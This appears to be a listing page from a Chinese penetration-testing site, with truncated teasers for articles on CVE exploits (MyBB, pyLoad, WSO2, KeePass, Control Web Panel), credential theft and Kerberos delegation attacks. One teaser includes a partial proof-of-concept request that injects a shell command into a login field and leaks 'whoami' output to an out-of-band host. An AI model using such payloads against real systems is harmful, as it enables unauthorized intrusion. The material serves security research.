渗透技巧
MyBB <= 1.8.31: Remote Code Execution Chain
Visual editor persistent XSS CVE-2022-43707 (HIGH RISK) Some time ago, my colleague Igor Sak-Sakovskiy published an article: Fuzzing for XSS via ne...
Exploiting Hardcoded Keys to achieve RCE in Yellowfin BI
Introduction At Assetnote, we often audit enterprise software source code to discover pre-authentication vulnerabilities. Yellowfin BI had signific...
Control Web Panel Linux 虚拟主机控制面板 RCE CVE-2022-44877
POC:POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1Host: vulnContent-Type: application/x-www-form-url...
实战 | 从Wdigest绕过Credential Guard 获取明文密码
由 LSASS 进程加载的 wdigest.dll 模块有两个有趣的全局变量：g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled，他们的作用仅从名称就能...
CVE-2023-24055 POC：KeePass through 2.53（在默认安装中）允许对 XML 配置文件具有写入
CVE-2023-24055CVE-2023-24055 的 POC 和扫描器配置扫描仪.py在 Windows 下运行的 KeePass 配置文件的简单解析器。该工具将打开目录 %APPDATA%RoamingKeePass...
CVE-2022-27226: CSRF to RCE in iRZ Mobile Routers through 2022-03-16
Credits Vulnerability Discovery John Jackson Chris Mack Exploit Development Stephen Chavez Robert Willis Identification Default credentials were...
CVE-2023-0297: Pre-auth RCE in pyLoad
CVE-2023-0297: Pre-auth RCE in pyLoad The Story of Finding Pre-auth RCE in pyLoad TL;DR A code injection vulnerability in pyLoad versions prior to...
【详解委派攻击】2.约束性委派
一、约束性委派的原理：由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，支持两个子协议：S4U...
【详解委派攻击】1.非约束性委派
师傅们新年快乐，感谢大家一年的支持与陪伴，准备了一些红包，看封面和简介领取吧！一、非约束性委派的原理：简单来讲：当某个域内用户user1访问到开启了非约...
CVE-2022-29464 WSO2文件上传漏洞复现
01漏洞简介CVE-2022-29464 WSO2文件上传漏洞是Orange Tsai发现的WSO2上的严重漏洞。该漏洞允许攻击者未授权上传jsp webshell从而在WSO2服务器上执行任...